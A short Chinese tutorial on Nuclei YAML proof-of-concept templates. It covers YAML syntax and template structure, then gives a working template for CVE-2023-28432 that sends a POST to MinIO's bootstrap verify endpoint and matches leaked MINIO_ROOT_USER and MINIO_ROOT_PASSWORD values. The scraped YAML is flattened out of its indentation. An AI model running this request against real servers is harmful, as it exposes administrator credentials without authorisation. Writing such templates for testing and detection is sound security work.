Poc开发-yml语法
参考文章:
https://docs.nuclei.sh/template-guide/introduction
https://blog.csdn.net/qq_41315957/article/details/126594572
https://blog.csdn.net/qq_41315957/article/details/126594670
基本语法
- 大小写敏感
- 使用缩进表示层级关系
- 缩进不允许使用 tab,只允许空格
- 缩进的空格数不重要,只要相同层级的元素左对齐即可
- #表示注释
- : 号后面要加空格
Yaml Poc模版:
1、编号 id
2、信息 info
3、请求 http file tcp等
4、匹配 matchers Interactsh
5、提取 extractors
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| id: CVE-2023-28432
info:
name: CVE-2023-28432
author: burp suite
severity: severity
description: | MinIO 是在 GNU Affero 通用公共许可证 v3.0 下发布的高性能对象存储。
reference: - https://github.com/vulhub/vulhub/tree/master/minio/CVE-2023-28432
tags: cve,2023
http:
- raw:
- | POST /minio/bootstrap/v1/verify HTTP/1.1
Host: {{Hostname}} Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 0
matchers-condition: and matchers:
- type: word
part: body
words: - 'MINIO_ROOT_USER' - 'MINIO_ROOT_PASSWORD' - type: status
status: - 200
|
使用方式:nuclei.exe -t Your_YamlFile -target 目标地址